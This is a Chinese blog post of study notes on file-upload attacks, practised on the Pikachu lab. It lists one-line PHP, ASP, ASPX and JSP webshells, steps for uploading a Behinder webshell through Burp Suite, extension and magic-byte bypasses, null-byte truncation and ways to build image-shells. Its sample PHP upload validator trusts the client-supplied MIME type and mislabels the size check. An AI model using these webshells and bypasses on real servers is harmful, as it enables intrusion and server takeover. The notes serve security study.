网络安全学习笔记之文件上传

学习内容来自哔哩哔哩的up主——网络安全就业推荐

课上内容:

分类:

一句话木马、小马、大马

jsp、asp、aspx、php

 

攻击流程:

利用web漏洞获取web权限(如文件上传,利用SQL获取一定的权限上传文件)

上传小马(方面上传大马,大马太大可能不让传)

上传大马

 

一句话木马:

PHP:

<?php eval($_GET[pass]);?>        这里的eval是把字符串当作PHP代码执行

<?php eval($_POST[pass]);?>

<?php @$a=$_COOKIE[i];$b='';$c='';@assert($b.$a);?>

ASP:

<%eval request("pass")%>

ASPX:

<%@ Page Language=”Jscript”%>

<%eval(Request.Item["pass"])%>

JSP:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

可以看看这篇文章

一句话木马的各种变形_1255326447-CSDN博客

 

直接执行(eval        system等)

文件包含执行(include        require)

动态函数执行($a="phpinfo";$a;)

回调函数(array_map)

 

一个文件上传的小例子:

这里我用冰蝎v4.06和pikachu靶场进行一下简单的文件上传

冰蝎下载看这篇:冰蝎网安工具介绍、下载和使用_冰蝎工具下载-CSDN博客

这里我要提一嘴,冰蝎好像不能连接一句话的php木马,只能用自带的php木马,如果你装了360,在解压的时候360可能会删掉你的木马,冰蝎的木马放在server文件夹里,我一开始解压的时候就被360删的只剩两个木马,搞得我半天都连不上,如果你没在server文件夹里找到get.php这个你直接删了重新下就好了,记得360调成信任冰蝎。

 

先从server文件夹里把get.php复制一下把后缀改为.jpeg(改后文件名为get.jepg)(由下图可知只允许上传图片,然后可以试试把木马后缀改掉以符合web的要求)

d6947d9248fe4ddf8b8ad5b8cae4765b.png

若改后缀不让上传的话,可以随便上传一张图片,再从burpsuit上改包(我第一次是burpsuit上改包上传的,后来试了改后缀也可以,显然改后缀要方便多了,所以上手更好点)

找到这个样子的包,把filename里的文件名的后缀改成.php

176b368e5db649aab6395048c83c07ec.png

然后下拉到最下面把get.php里的代码复制粘贴到最下方(要先在代码和原先的包保留一个空白行)然后发送就上传成功了

c438bb0514a0400fb17085447b988ab3.png

44bca442d2304ea293c64fe1eb5b82e5.png在浏览器打开木马文件,地址是http://pikachu/vul/unsafeupload/uploads/get1.php

其实好像不用打开也可以连接,你们试试,若知道的可以评论区说一下。

 

右键点击一下,然后点新增,url处写地址,密码默认是rebeyond,点保存

69500eb0896a4d2ab3d9d9dc551eafcb.png

999e9cc73cef477fa862e8fe04b0d683.png

打开后看到这个就连接成功了

118a3ebcbef143f1bd6e0483fff3cd39.png

 

 

上传小马的时候,可能会限制一些字符的上传,所以我们要将代码进行base64编码,如果是POST上传的话不能出现等号等特殊字符,这时候在进行二次编码(文件里记得加base63_decode(php木马的base64编码结果)来解码),没找到好文章,有的话可以发一下评论区

PHP文件读写,Base64编解码_base64 php读取源码-CSDN博客

上传的小马文件长这样b77a7bfcba124ee3afa6c9c84160acee.png

 

 

 

保护方法:

服务器判断文件类型从后往前判断,对文件解析从前往后解析

黑名单:

黑名单是指在名单上的是不可信的,其他均为信任的

拒绝上传名单上的文件类型绕过的方法可以选择

大小写绕过如:.Php

空格绕过(要在bp上修改,window上会自动删除末尾的空格)如:“.php ”

点绕过(要在bp上修改,window上会自动删除末尾的点)如:“.php.”

::$DATA绕过(bp上修改,目标机保存后会删去::$DATA):如:.as.php::$DATA

其他扩展名,如.php可以有.php5 .php .phtml .phps .php5 .pht

配合Apache解析漏洞:

ccd56663b5154b6b80401fb75a9cff7c.png

htaccess文件绕过:

e8feb27dc9e94860acbe7aaea5dcf64d.png

5f8dbffa39d84f52ae60fc15ad6e7ad8.png

 

白名单:

白名单是指在名单上的是可以信任的,其他均为不可信任的

文件幻数:

c9b3383508d34179beb6d305ec3cf5b3.png

绕过jpg文件的文件幻数在开头写下下面的值

Value=FF D8 FF E0 00 10 4A 46 49 46

绕过gif文件的文件幻数在开头写下下面的值

Value=47 49 46 38 39 61

绕过png文件的文件幻数在开头写下下面的值

Value=89 50 4E 47

这是我写的两个PHP程序可以限制上传的文件类型。


<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>坤坤的表单</title>
    <link rel="icon" href="./headimg/aikun.ico" type="image/x-icon">
</head>

<body>
    <form action="ch4_5_ok.php" method="post" enctype="multipart/form-data">
        <div class="tableRow">
            <p>图片:</p>
            <p>
                <input type="file" name="headimg" id="">
            </p>
        </div>

        <div class="">
            <p></p>
            <p>
                <input type="submit" name="submit" value="提交">
</p>
        </div>
    </form>
</body>
</html>
<?php

if (!isset($_POST['submit'])) {
    die('访问禁止');
}

// echo "<pre>";
// print_r($_FILES);
// echo "</pre>";

$file = $_FILES['headimg'];

$file_name = $file['name'];
$file_type = $file['type'];
$file_size = $file['size'];
$file_tmp = $file['tmp_name'];

echo "文件名:", $file_name, '<br>';
echo "文件类型:" ,$file_type , '<br>';
echo '文件大小:', $file_size, "<br>";
echo '文件临时路径:' , $file_tmp , '<br>';


$error = [];

if ($file_size > 50 * 1024) {
    $error['size'] = '文件大小符合要求';
}
$valid_type = ['image/gif', 'image/jpeg', 'image/png', 'image/bmp','image/ico'];  //选择可以上传的文件
if (!in_array($file_type, $valid_type)) {
    $error['type'] = '文档类型不符合要求';
}


if (empty($error)) {
    $ext_name = strrchr($file_name, '.');
    $new_file = date('YmdHis') . rand(100, 999) . $ext_name;
    move_uploaded_file($file_tmp, "../upload/" . $new_file);
}
else{
    // 验证失败
    define('APP','sdfaasdf');
    require_once "../public/error.php";
}

?>

%00截断:在url上或是bp上加入%00如:as.php%00.png

0x00截断:

 

总结:

c1d69a71813c402e925899c8d4052f19.png

 

可查看的图片马制作:

方法一:

用一张正常图片和一个木马合并出一个图片马

1c44dc86f02748488b9da0d9ef34122e.png打开cmd命令输入copy命令格式为

格式:copy 图片文件名/b + 木马文件名/a 生成图片马文件名

其中/b是以二进制打开,/a是以字符打开

a39e9fc9d9964ae3afe44c47533bb532.png

然后就可以看到生成的图片马出现在目录里了

786deafe119d4e75bd3913cabfdfb7da.png

 

方法二:

用Notepad++往图片中加入木马

为了减少图片内容我随便截了很小的一个图片

ff780bf352a74134a14a363c6c3506f2.png

右键点击图片选择“打开方式”-“Notepad++”打开

然后在图片内容最后插入木马代码就完成了

19c79f8cdcc94349af43db9a37e9f18f.pngbf9d3cbe93d54f7bb089302fb8180bae.png

 

 

 网络安全的学习一定要配合网络安全法一起学习,以上内容乃作者的网络安全学习笔记,读者所为一切行为均与作者无关,忘牢记网络安全法。

中华人民共和国网络安全法_中央网络安全和信息化委员会办公室 (cac.gov.cn)

 

  • 16
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值